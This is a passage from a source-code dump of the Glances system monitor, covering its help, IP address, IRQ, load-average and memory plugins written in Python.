individual/combined')),\n                ('toggle_gpu_individual_combined', msg_col.format('6', 'GPU, individual/combined')),\n                (\n                    'toggle_short_full',\n                    (\n                        msg_col.format('S', 'Process names, short/full')\n                        if self.args and self.args.webserver\n                        else msg_col.format('/', 'Process names, short/full')\n                    ),\n                ),\n                ('header_miscellaneous', msg_header.format('MISCELLANEOUS:')),\n                (\n                    'misc_erase_process_filter',\n                    '' if self.args and self.args.webserver else msg_col.format('E', 'Erase process filter'),\n                ),\n                (\n                    'misc_generate_history_graphs',\n                    '' if self.args and self.args.webserver else msg_col.format('g', 'Generate history graphs'),\n                ),\n                ('misc_help', msg_col.format('h', 'HELP')),\n                (\n                    'misc_accumulate_processes_by_program',\n                    '' if self.args and self.args.webserver else msg_col.format('j', 'Display threads or programs'),\n                ),\n                ('misc_increase_nice_process', msg_col.format('+', 'Increase nice process')),\n                ('misc_decrease_nice_process', msg_col.format('-', 'Decrease nice process (need admin rights)')),\n                ('misc_kill_process', '' if self.args and self.args.webserver else msg_col.format('k', 'Kill process')),\n                (\n                    'misc_reset_processes_summary_min_max',\n                    '' if self.args and self.args.webserver else msg_col.format('M', 'Reset processes summary min/max'),\n                ),\n                (\n                    'misc_quit',\n                    '' if self.args and self.args.webserver else msg_col.format('q', 'QUIT (or Esc or Ctrl-C)'),\n                ),\n                ('misc_reset_history', msg_col.format('r', 'Reset history')),\n                ('misc_delete_warning_alerts', msg_col.format('w', 'Delete warning alerts')),\n                ('misc_delete_warning_and_critical_alerts', msg_col.format('x', 'Delete warning & critical alerts')),\n                (\n                    'misc_edit_process_filter_pattern',\n                    '' if self.args and self.args.webserver else '  ENTER: Edit process filter pattern',\n                ),\n            ]\n        )\n\n    def get_view_data(self, args=None):\n        \"\"\"Return the view.\"\"\"\n        return self.view_data\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the list to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Build the header message\n        ret.append(self.curse_add_line(self.view_data['version'], 'TITLE'))\n        ret.append(self.curse_add_line(self.view_data['psutil_version']))\n        ret.append(self.curse_new_line())\n\n        # Build the configuration file path\n        if 'configuration_file' in self.view_data:\n            ret.append(self.curse_add_line(self.view_data['configuration_file']))\n            ret.append(self.curse_new_line())\n\n        ret.append(self.curse_new_line())\n\n        # key-shortcuts\n        #\n        # Collect all values after the 1st key-msg\n        # in a list of curse-lines.\n        #\n        shortcuts = []\n        collecting = False\n        for k, v in self.view_data.items():\n            if collecting:\n                pass\n            elif k == 'header_sort':\n                collecting = True\n            else:\n                continue\n            shortcuts.append(self.curse_add_line(v))\n        # Divide shortcuts into 2 columns\n        # and if number of schortcuts is even,\n        # make the 1st column taller (len+1).\n        #\n        nlines = (len(shortcuts) + 1) // 2\n        ret.extend(\n            msg\n            for triplet in zip(\n                iter(shortcuts[:nlines]),\n                chain(shortcuts[nlines:], iter(lambda: self.curse_add_line(''), None)),\n                iter(self.curse_new_line, None),\n            )\n            for msg in triplet\n        )\n\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line('For an exhaustive list of key bindings:'))\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line('https://glances.readthedocs.io/en/latest/cmds.html#interactive-commands'))\n        ret.append(self.curse_new_line())\n\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line('Colors binding:'))\n        ret.append(self.curse_new_line())\n        for c in [\n            'DEFAULT',\n            'UNDERLINE',\n            'BOLD',\n            'SORT',\n            'OK',\n            'MAX',\n            'FILTER',\n            'TITLE',\n            'PROCESS',\n            'PROCESS_SELECTED',\n            'STATUS',\n            'CPU_TIME',\n            'CAREFUL',\n            'WARNING',\n            'CRITICAL',\n            'OK_LOG',\n            'CAREFUL_LOG',\n            'WARNING_LOG',\n            'CRITICAL_LOG',\n            'PASSWORD',\n            'SELECTED',\n            'INFO',\n            'ERROR',\n            'SEPARATOR',\n        ]:\n            ret.append(self.curse_add_line(c, decoration=c))\n            if c == 'CPU_TIME':\n                ret.append(self.curse_new_line())\n            else:\n                ret.append(self.curse_add_line(' '))\n\n        # Return the message with decoration\n        return ret\n"
  },
  {
    "path": "glances/plugins/ip/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"IP plugin.\"\"\"\n\nimport threading\n\nfrom glances.globals import get_ip_address, json_loads, urlopen_auth\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'address': {\n        'description': 'Private IP address',\n    },\n    'mask': {\n        'description': 'Private IP mask',\n    },\n    'mask_cidr': {\n        'description': 'Private IP mask in CIDR format',\n        'unit': 'number',\n    },\n    'gateway': {\n        'description': 'Private IP gateway',\n    },\n    'public_address': {\n        'description': 'Public IP address',\n    },\n    'public_info_human': {\n        'description': 'Public IP information',\n    },\n}\n\n\nclass IpPlugin(GlancesPluginModel):\n    \"\"\"Glances IP Plugin.\n\n    stats is a dict\n    \"\"\"\n\n    _default_public_refresh_interval = 300\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, fields_description=fields_description)\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Public information (see issue #2732)\n        self.public_address = \"\"\n        self.public_info = \"\"\n        self.public_api = self.get_conf_value(\"public_api\", default=[None])[0]\n        self.public_username = self.get_conf_value(\"public_username\", default=[None])[0]\n        self.public_password = self.get_conf_value(\"public_password\", default=[None])[0]\n        self.public_field = self.get_conf_value(\"public_field\", default=[None])\n        self.public_template = self.get_conf_value(\"public_template\", default=[None])[0]\n        self.public_disabled = (\n            self.get_conf_value('public_disabled', default='False')[0].lower() != 'false'\n            or self.public_api is None\n            or self.public_field is None\n        )\n        self.public_address_refresh_interval = self.get_conf_value(\n            \"public_refresh_interval\", default=self._default_public_refresh_interval\n        )\n\n        # Init thread to grab public IP address asynchronously\n        self.public_ip_thread = None\n        if not self.public_disabled:\n            self.public_ip_thread = ThreadPublicIpAddress(\n                url=self.public_api,\n                username=self.public_username,\n                password=self.public_password,\n                refresh_interval=self.public_address_refresh_interval,\n            )\n            self.public_ip_thread.start()\n\n    def get_first_ip(self, stats):\n        stats['address'], stats['mask'] = get_ip_address()\n        stats['mask_cidr'] = self.ip_to_cidr(stats['mask'])\n\n        return stats\n\n    def get_public_ip(self, stats):\n        \"\"\"Get public IP information from the background thread (non-blocking).\"\"\"\n        if self.public_ip_thread is None:\n            return stats\n\n        try:\n            # Read public IP info from the background thread (non-blocking)\n            self.public_info = self.public_ip_thread.public_info\n            if self.public_info:\n                self.public_address = self.public_info.get('ip', '')\n        except (KeyError, AttributeError, TypeError) as e:\n            logger.debug(f\"Cannot grab public IP information ({e})\")\n\n        if self.public_address:\n            stats['public_address'] = (\n                self.public_address if not self.args.hide_public_info else self.__hide_ip(self.public_address)\n            )\n            stats['public_info_human'] = self.public_info_for_human(self.public_info)\n\n        return stats\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update IP stats using the input method.\n\n        :return: the stats dict\n        \"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            stats = self.get_stats_for_local_input(stats)\n\n        elif self.input_method == 'snmp':\n            # Not implemented yet\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def get_stats_for_local_input(self, stats):\n        # Get Public and Private IP address\n        if self.get_first_ip(stats):\n            self.get_public_ip(stats)\n        return stats\n\n    def exit(self):\n        \"\"\"Overwrite the exit method to close the thread.\"\"\"\n        if self.public_ip_thread is not None:\n            self.public_ip_thread.stop()\n        # Call the parent class\n        super().exit()\n\n    def __hide_ip(self, ip):\n        \"\"\"Hide last to digit of the given IP address\"\"\"\n        return '.'.join(ip.split('.')[0:2]) + '.*.*'\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and display plugin enable...\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # Start with the private IP information\n        if 'address' in self.stats:\n            msg = 'IP '\n            ret.append(self.curse_add_line(msg, 'TITLE', optional=True))\n            msg = '{}'.format(self.stats['address'])\n            ret.append(self.curse_add_line(msg, optional=True))\n        if 'mask_cidr' in self.stats:\n            # VPN with no internet access (issue #842)\n            msg = '/{}'.format(self.stats['mask_cidr'])\n            ret.append(self.curse_add_line(msg, optional=True))\n\n        # Then with the public IP information\n        try:\n            msg_pub = '{}'.format(self.stats['public_address'])\n        except (UnicodeEncodeError, KeyError):\n            # Add KeyError exception (see https://github.com/nicolargo/glances/issues/1469)\n            pass\n        else:\n            if self.stats['public_address']:\n                msg = ' Pub '\n                ret.append(self.curse_add_line(msg, 'TITLE', optional=True))\n                ret.append(self.curse_add_line(msg_pub, optional=True))\n\n            if self.stats['public_info_human']:\n                ret.append(self.curse_add_line(' {}'.format(self.stats['public_info_human']), optional=True))\n\n        return ret\n\n    def public_info_for_human(self, public_info):\n        \"\"\"Return the data to pack to the client.\"\"\"\n        if not public_info:\n            return ''\n\n        return self.public_template.format(**public_info)\n\n    @staticmethod\n    def ip_to_cidr(ip):\n        \"\"\"Convert IP address to CIDR.\n\n        Example: '255.255.255.0' will return 24\n        \"\"\"\n        # Thanks to @Atticfire\n        # See https://github.com/nicolargo/glances/issues/1417#issuecomment-469894399\n        if ip is None:\n            # Correct issue #1528\n            return 0\n        return sum(bin(int(x)).count('1') for x in ip.split('.'))\n\n\nclass ThreadPublicIpAddress(threading.Thread):\n    \"\"\"Thread class to fetch public IP address asynchronously.\n\n    This prevents blocking the main Glances startup and update cycle.\n    \"\"\"\n\n    def __init__(self, url, username, password, refresh_interval, timeout=2):\n        \"\"\"Init the thread.\n\n        :param url: URL of the public IP API\n        :param username: Optional username for API authentication\n        :param password: Optional password for API authentication\n        :param refresh_interval: Time in seconds between refreshes\n        :param timeout: Timeout for the API request\n        \"\"\"\n        logger.debug(\"IP plugin - Create thread for public IP address\")\n        super().__init__()\n        self.daemon = True\n        self._stopper = threading.Event()\n\n        self.url = url\n        self.username = username\n        self.password = password\n        self.refresh_interval = refresh_interval\n        self.timeout = timeout\n\n        # Public IP information (shared with main thread)\n        self._public_info = {}\n        self._public_info_lock = threading.Lock()\n\n    def run(self):\n        \"\"\"Grab public IP information in a loop.\n\n        Runs until stop() is called, refreshing at the configured interval.\n        \"\"\"\n        while not self._stopper.is_set():\n            # Fetch public IP information\n            info = self._fetch_public_ip_info()\n            if info is not None:\n                with self._public_info_lock:\n                    self._public_info = info\n\n            # Wait for the refresh interval or until stopped\n            self._stopper.wait(self.refresh_interval)\n\n    def _fetch_public_ip_info(self):\n        \"\"\"Fetch public IP information from the configured API.\"\"\"\n        try:\n            response = urlopen_auth(self.url, self.username, self.password, self.timeout).read()\n            return json_loads(response)\n        except Exception as e:\n            logger.debug(f\"IP plugin - Cannot get public IP information from {self.url} ({e})\")\n            return None\n\n    @property\n    def public_info(self):\n        \"\"\"Return the current public IP information (thread-safe).\"\"\"\n        with self._public_info_lock:\n            return self._public_info.copy()\n\n    def stop(self, timeout=None):\n        \"\"\"Stop the thread.\"\"\"\n        logger.debug(\"IP plugin - Close thread for public IP address\")\n        self._stopper.set()\n\n    def stopped(self):\n        \"\"\"Return True if the thread is stopped.\"\"\"\n        return self._stopper.is_set()\n"
  },
  {
    "path": "glances/plugins/irq/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# Copyright (C) 2018 Angelo Poerio <angelo.poerio@gmail.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"IRQ plugin.\"\"\"\n\nimport operator\nimport os\n\nfrom glances.globals import LINUX\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\nfrom glances.timer import getTimeSinceLastUpdate\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'irq_line': {\n        'description': 'IRQ line name',\n    },\n    'irq_rate': {\n        'description': 'IRQ rate per second',\n        'unit': 'numberpersecond',\n    },\n}\n\n\nclass IrqPlugin(GlancesPluginModel):\n    \"\"\"Glances IRQ plugin.\n\n    stats is a list\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, stats_init_value=[], fields_description=fields_description)\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Init the stats\n        self.irq = GlancesIRQ()\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return self.irq.get_key()\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the IRQ stats.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        # IRQ plugin only available on GNU/Linux\n        if not LINUX:\n            return self.stats\n\n        if self.input_method == 'local':\n            # Grab the stats\n            stats = self.irq.get()\n\n        elif self.input_method == 'snmp':\n            # not available\n            pass\n\n        # Get the TOP 5 (by rate/s)\n        stats = sorted(stats, key=operator.itemgetter('irq_rate'), reverse=True)[:5]\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only available on GNU/Linux\n        # Only process if stats exist and display plugin enable...\n        if not LINUX or not self.stats or self.is_disabled():\n            return ret\n\n        # Max size for the interface name\n        if max_width:\n            name_max_width = max_width - 7\n        else:\n            # No max_width defined, return an empty curse message\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return ret\n\n        # Build the string message\n        # Header\n        msg = '{:{width}}'.format('IRQ', width=name_max_width)\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        msg = '{:>9}'.format('Rate/s')\n        ret.append(self.curse_add_line(msg))\n\n        for i in self.stats:\n            ret.append(self.curse_new_line())\n            msg = '{:{width}}'.format(i['irq_line'][:name_max_width], width=name_max_width)\n            ret.append(self.curse_add_line(msg))\n            msg = '{:>9}'.format(str(i['irq_rate']))\n            ret.append(self.curse_add_line(msg))\n\n        return ret\n\n\nclass GlancesIRQ:\n    \"\"\"This class manages the IRQ file.\"\"\"\n\n    IRQ_FILE = '/proc/interrupts'\n\n    def __init__(self):\n        \"\"\"Init the class.\n\n        The stat are stored in a internal list of dict\n        \"\"\"\n        self.lasts = {}\n        self.reset()\n\n    def reset(self):\n        \"\"\"Reset the stats.\"\"\"\n        self.stats = []\n        self.cpu_number = 0\n\n    def get(self):\n        \"\"\"Return the current IRQ stats.\"\"\"\n        return self.__update()\n\n    def get_key(self):\n        \"\"\"Return the key of the dict.\"\"\"\n        return 'irq_line'\n\n    def __header(self, line):\n        \"\"\"Build the header (contain the number of CPU).\n\n        CPU0       CPU1       CPU2       CPU3\n        0:         21          0          0          0   IO-APIC   2-edge      timer\n        \"\"\"\n        self.cpu_number = len(line.split())\n        return self.cpu_number\n\n    def __humanname(self, line):\n        \"\"\"Return the IRQ name, alias or number (choose the best for human).\n\n        IRQ line samples:\n        1:      44487        341         44         72   IO-APIC   1-edge      i8042\n        LOC:   33549868   22394684   32474570   21855077   Local timer interrupts\n        \"\"\"\n        splitted_line = line.split()\n        irq_line = splitted_line[0].replace(':', '')\n        if irq_line.isdigit():\n            # If the first column is a digit, use the alias (last column)\n            irq_line += f'_{splitted_line[-1]}'\n        return irq_line\n\n    def __sum(self, line):\n        \"\"\"Return the IRQ sum number.\n\n        IRQ line samples:\n        1:     44487        341         44         72   IO-APIC   1-edge      i8042\n        LOC:   33549868   22394684   32474570   21855077   Local timer interrupts\n        FIQ:   usb_fiq\n        \"\"\"\n        splitted_line = line.split()\n        try:\n            ret = sum(map(int, splitted_line[1 : (self.cpu_number + 1)]))\n        except ValueError:\n            # Correct issue #1007 on some conf (Raspberry Pi with Raspbian)\n            ret = 0\n        return ret\n\n    def __update(self):\n        \"\"\"Load the IRQ file and update the internal dict.\"\"\"\n        self.reset()\n\n        if not os.path.exists(self.IRQ_FILE):\n            # Correct issue #947: IRQ file do not exist on OpenVZ container\n            return self.stats\n\n        try:\n            with open(self.IRQ_FILE) as irq_proc:\n                time_since_update = getTimeSinceLastUpdate('irq')\n                # Read the header\n                self.__header(irq_proc.readline())\n                # Read the rest of the lines (one line per IRQ)\n                for line in irq_proc.readlines():\n                    irq_line = self.__humanname(line)\n                    current_irqs = self.__sum(line)\n                    irq_rate = int(\n                        current_irqs - self.lasts.get(irq_line) if self.lasts.get(irq_line) else 0 // time_since_update\n                    )\n                    irq_current = {\n                        'irq_line': irq_line,\n                        'irq_rate': irq_rate,\n                        'key': self.get_key(),\n                        'time_since_update': time_since_update,\n                    }\n                    self.stats.append(irq_current)\n                    self.lasts[irq_line] = current_irqs\n        except OSError:\n            pass\n\n        return self.stats\n"
  },
  {
    "path": "glances/plugins/load/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Load plugin.\"\"\"\n\nimport os\n\nimport psutil\n\nfrom glances.logger import logger\nfrom glances.plugins.core import CorePlugin\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\nfields_description = {\n    'min1': {\n        'description': 'Average sum of the number of processes \\\nwaiting in the run-queue plus the number currently executing \\\nover 1 minute.',\n        'unit': 'float',\n        'mmm': True,\n    },\n    'min5': {\n        'description': 'Average sum of the number of processes \\\nwaiting in the run-queue plus the number currently executing \\\nover 5 minutes.',\n        'unit': 'float',\n    },\n    'min15': {\n        'description': 'Average sum of the number of processes \\\nwaiting in the run-queue plus the number currently executing \\\nover 15 minutes.',\n        'unit': 'float',\n    },\n    'cpucore': {'description': 'Total number of CPU core.', 'unit': 'number'},\n}\n\n# SNMP OID\n# 1 minute Load: .1.3.6.1.4.1.2021.10.1.3.1\n# 5 minute Load: .1.3.6.1.4.1.2021.10.1.3.2\n# 15 minute Load: .1.3.6.1.4.1.2021.10.1.3.3\nsnmp_oid = {\n    'min1': '1.3.6.1.4.1.2021.10.1.3.1',\n    'min5': '1.3.6.1.4.1.2021.10.1.3.2',\n    'min15': '1.3.6.1.4.1.2021.10.1.3.3',\n}\n\n# Define the history items list\n# All items in this list will be historised if the --enable-history tag is set\nitems_history_list = [\n    {'name': 'min1', 'description': '1 minute load'},\n    {'name': 'min5', 'description': '5 minutes load'},\n    {'name': 'min15', 'description': '15 minutes load'},\n]\n\n# Get the number of logical CPU core only once\n# the variable is also shared with the QuickLook plugin\nnb_log_core = 1\nnb_phys_core = 1\ntry:\n    core = CorePlugin().update()\nexcept Exception as e:\n    logger.warning(f'Error: Can not retrieve the CPU core number (set it to 1) ({e})')\nelse:\n    if 'log' in core:\n        nb_log_core = core['log']\n    if 'phys' in core:\n        nb_phys_core = core['phys']\n\n\nclass LoadPlugin(GlancesPluginModel):\n    \"\"\"Glances load plugin.\n\n    stats is a dict\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args, config=config, items_history_list=items_history_list, fields_description=fields_description\n        )\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update load stats.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            # Update stats using the standard system lib\n\n            # Get the load using the os standard lib\n            load = load_average()\n            if load is None:\n                stats = self.get_init_value()\n            else:\n                stats = {'min1': load[0], 'min5': load[1], 'min15': load[2], 'cpucore': log_core()}\n\n        elif self.input_method == 'snmp':\n            # Update stats using SNMP\n            stats = self.get_stats_snmp(snmp_oid=snmp_oid)\n\n            if stats['min1'] == '':\n                return self.get_init_value()\n\n            # Python 3 return a dict like:\n            # {'min1': \"b'0.08'\", 'min5': \"b'0.12'\", 'min15': \"b'0.15'\"}\n            for k, v in stats.items():\n                stats[k] = float(v)\n\n            stats['cpucore'] = log_core()\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specifics information\n        try:\n            # Alert and log\n            self.views['min15']['decoration'] = self.get_alert_log(\n                self.stats['min15'], maximum=100 * self.stats['cpucore']\n            )\n            # Alert only\n            self.views['min5']['decoration'] = self.get_alert(self.stats['min5'], maximum=100 * self.stats['cpucore'])\n        except KeyError:\n            # try/except mandatory for Windows compatibility (no load stats)\n            pass\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist, not empty (issue #871) and plugin not disabled\n        if not self.stats or (self.stats == {}) or self.is_disabled():\n            return ret\n\n        # Build the string message\n        # Header\n        msg = '{:4}'.format('LOAD')\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        msg = ' {:1}'.format(self.trend_msg(self.get_trend('min1')))\n        ret.append(self.curse_add_line(msg))\n        # Core number\n        if 'cpucore' in self.stats and self.stats['cpucore'] > 0:\n            msg = '{:3}core'.format(int(self.stats['cpucore']))\n            ret.append(self.curse_add_line(msg))\n        # Loop over 1min, 5min and 15min load\n        for load_time in ['1', '5', '15']:\n            ret.append(self.curse_new_line())\n            msg = '{:7}'.format(f'{load_time} min')\n            ret.append(self.curse_add_line(msg))\n            if args and args.disable_irix and log_core() != 0:\n                # Enable Irix mode for load (see issue #1554)\n                load_stat = self.stats[f'min{load_time}'] / log_core() * 100\n                msg = f'{load_stat:>5.1f}%'\n            else:\n                # Default mode for load\n                load_stat = self.stats[f'min{load_time}']\n                msg = f'{load_stat:>6.2f}'\n            ret.append(self.curse_add_line(msg, self.get_views(key=f'min{load_time}', option='decoration')))\n\n        return ret\n\n\ndef log_core():\n    \"\"\"Get the number of logical CPU core.\"\"\"\n    return nb_log_core\n\n\ndef phys_core():\n    \"\"\"Get the number of physical CPU core.\"\"\"\n    return nb_phys_core\n\n\ndef load_average(percent: bool = False):\n    \"\"\"Get load average. On both Linux and Windows thanks to PsUtil\n\n    if percent is True, return the load average in percent\n    Ex: if you only have one CPU core and the load average is 1.0, then return 100%\"\"\"\n    ret = None\n    try:\n        ret = psutil.getloadavg()\n    except (AttributeError, OSError):\n        try:\n            ret = os.getloadavg()\n        except (AttributeError, OSError):\n            pass\n\n    if ret and percent:\n        return tuple([round(i / log_core() * 100, 1) for i in ret])\n    return ret\n"
  },
  {
    "path": "glances/plugins/mem/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Virtual memory plugin.\"\"\"\n\nimport psutil\n\nfrom glances.plugins.fs.zfs import zfs_enable, zfs_stats\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\nfields_description = {\n    'total': {'description': 'Total physical memory available.', 'unit': 'bytes', 'min_symbol': 'K'},\n    'available': {\n        'description': 'The actual amount of available memory that can be given instantly \\\nto processes that request more memory in bytes; this is calculated by summing \\\ndifferent memory values depending on the platform (e.g. free + buffers + cached on Linux) \\\nand it is supposed to be used to monitor actual memory usage in a cross platform fashion.',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n        'short_name': 'avail',\n    },\n    'percent': {\n        'description': 'The percentage usage calculated as (total - available) / total * 100.',\n        'unit': 'percent',\n        'mmm': True,\n    },\n    'used': {\n        'description': 'Memory used, calculated differently depending on the platform and \\\ndesigned for informational purposes only.',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n    },\n    'free': {\n        'description': 'Memory not being used at all (zeroed) that is readily available; \\\nnote that this doesn\\'t reflect the actual memory available (use \\'available\\' instead).',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n    },\n    'active': {\n        'description': '*(UNIX)*: memory currently in use or very recently used, and so it is in RAM.',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n        'optional': True,\n    },\n    'inactive': {\n        'description': '*(UNIX)*: memory that is marked as not used.',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n        'short_name': 'inacti',\n        'optional': True,\n    },\n    'buffers': {\n        'description': '*(Linux, BSD)*: cache for things like file system metadata.',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n        'short_name': 'buffer',\n        'optional': True,\n    },\n    'cached': {\n        'description': '*(Linux, BSD)*: cache for various things (including ZFS cache).',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n        'optional': True,\n    },\n    'wired': {\n        'description': '*(BSD, macOS)*: memory that is marked to always stay in RAM. It is never moved to disk.',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n    },\n    'shared': {\n        'description': '*(BSD)*: memory that may be simultaneously accessed by multiple processes.',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n    },\n}\n\n# SNMP OID\n# Total RAM in machine: .1.3.6.1.4.1.2021.4.5.0\n# Total RAM used: .1.3.6.1.4.1.2021.4.6.0\n# Total RAM Free: .1.3.6.1.4.1.2021.4.11.0\n# Total RAM Shared: .1.3.6.1.4.1.2021.4.13.0\n# Total RAM Buffered: .1.3.6.1.4.1.2021.4.14.0\n# Total Cached Memory: .1.3.6.1.4.1.2021.4.15.0\n# Note: For Windows, stats are in the FS table\nsnmp_oid = {\n    'default': {\n        'total': '1.3.6.1.4.1.2021.4.5.0',\n        'free': '1.3.6.1.4.1.2021.4.11.0',\n        'shared': '1.3.6.1.4.1.2021.4.13.0',\n        'buffers': '1.3.6.1.4.1.2021.4.14.0',\n        'cached': '1.3.6.1.4.1.2021.4.15.0',\n    },\n    'windows': {\n        'mnt_point': '1.3.6.1.2.1.25.2.3.1.3',\n        'alloc_unit': '1.3.6.1.2.1.25.2.3.1.4',\n        'size': '1.3.6.1.2.1.25.2.3.1.5',\n        'used': '1.3.6.1.2.1.25.2.3.1.6',\n    },\n    'esxi': {\n        'mnt_point': '1.3.6.1.2.1.25.2.3.1.3',\n        'alloc_unit': '1.3.6.1.2.1.25.2.3.1.4',\n        'size': '1.3.6.1.2.1.25.2.3.1.5',\n        'used': '1.3.6.1.2.1.25.2.3.1.6',\n    },\n}\n\n# Define the history items list\n# All items in this list will be historised if the --enable-history tag is set\nitems_history_list = [{'name': 'percent', 'description': 'RAM memory usage', 'y_unit': '%'}]\n\n\nclass MemPlugin(GlancesPluginModel):\n    \"\"\"Glances' memory plugin.\n\n    stats is a dict\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args, config=config, items_history_list=items_history_list, fields_description=fields_description\n        )\n\n        # Should we display available memory instead of used memory ?\n        self.available = self.get_conf_value('available', default=['False'])[0].lower() == 'true'\n\n        # ZFS\n        self.zfs_enabled = zfs_enable()\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n    def _update_for_local(self, stats):\n        # Update stats using the standard system lib\n        # Grab MEM using the psutil virtual_memory method\n        vm_stats = psutil.virtual_memory()\n\n        # Get all the memory stats (copy/paste of the psutil documentation)\n        # total: total physical memory available.\n        # available: the actual amount of available memory that can be given instantly\n        # to processes that request more memory in bytes; this is calculated by summing\n        # different memory values depending on the platform (e.g. free + buffers + cached on Linux)\n        # and it is supposed to be used to monitor actual memory usage in a cross platform fashion.\n        # percent: the percentage usage calculated as (total - available) / total * 100.\n        # used: memory used, calculated differently depending on the platform and designed for informational\n        # purposes only.\n        # free: memory not being used at all (zeroed) that is readily available; note that this doesn't\n        # reflect the actual memory available (use ‘available’ instead).\n        # Platform-specific fields:\n        # active: (UNIX): memory currently in use or very recently used, and so it is in RAM.\n        # inactive: (UNIX): memory that is marked as not used.\n        # buffers: (Linux, BSD): cache for things like file system metadata.\n        # cached: (Linux, BSD): cache for various things.\n        # wired: (BSD, macOS): memory that is marked to always stay in RAM. It is never moved to disk.\n        # shared: (BSD): memory that may be simultaneously accessed by multiple processes.\n        self.reset()\n        for mem in [\n            'total',\n            'available',\n            'percent',\n            'used',\n            'free',\n            'active',\n            'inactive',\n            'buffers',\n            'cached',\n            'wired',\n            'shared',\n        ]:\n            if hasattr(vm_stats, mem):\n                stats[mem] = getattr(vm_stats, mem)\n\n        # Manage ZFS cache (see #3979 for details)\n        if self.zfs_enabled:\n            zfs_size = 0\n            zfs_shrink = 0\n            zfs_cache_stats = zfs_stats()\n            # Uncomment the following line to use the test data\n            # zfs_cache_stats = zfs_stats(['./tests-data/plugins/fs/zfs/arcstats'])\n            if 'arcstats.size' in zfs_cache_stats:\n                zfs_size = zfs_cache_stats['arcstats.size']\n                if 'arcstats.c_min' in zfs_cache_stats:\n                    zfs_cmin = zfs_cache_stats['arcstats.c_min']\n                else:\n                    zfs_cmin = 0\n\n                zfs_shrink = zfs_size - zfs_cmin\n            # Add the ZFS cache to the 'cached' memory\n            if 'cached' in stats:\n                stats['cached'] += zfs_size\n            else:\n                stats['cached'] = zfs_size\n\n            # Add the amount ZFS cache can shrink to 'available' memory\n            if 'available' in stats:\n                